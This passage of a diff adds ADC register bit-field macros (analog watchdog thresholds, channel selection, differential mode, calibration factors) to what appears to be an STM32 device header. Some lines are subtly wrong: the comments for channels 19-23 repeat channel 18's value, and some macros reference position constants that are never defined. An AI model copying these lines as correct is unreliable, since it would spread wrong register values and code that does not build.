0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) 